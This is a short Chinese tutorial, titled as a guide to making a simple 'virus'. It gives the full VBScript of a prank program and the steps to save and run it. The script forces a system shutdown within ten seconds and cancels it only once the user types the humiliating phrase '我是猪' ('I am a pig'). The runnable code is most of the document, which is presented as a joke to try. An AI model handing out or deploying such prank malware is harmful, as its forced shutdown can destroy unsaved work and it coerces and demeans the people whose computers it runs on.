如何制作简易病毒
的有关信息介绍如下:软件必须要输入我是猪才能关闭,并且十秒内不输入会自动关机!自制小病毒!
鼠标右键,选择记事本,文本文件,或者rtf文件
打开,输入代码:
Option Explicit
On Error Resume Next
Dim answer
Dim WshShell
set WshShell = CreateObject("wscript.Shell")
WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪',否则10秒后关机~",0
Do While answer<>"我是猪"
answer=InputBox("输入'我是猪',否则10秒后关机~","哈哈哈",,7000,8000)
Loop
WshShell.Run "Shutdown /a",0
MsgBox "哈哈哈,好玩不?",,"哈哈哈"
黑体为代码
保存,更改后缀为“vbs”
打开试试吧!不要做坏事哦!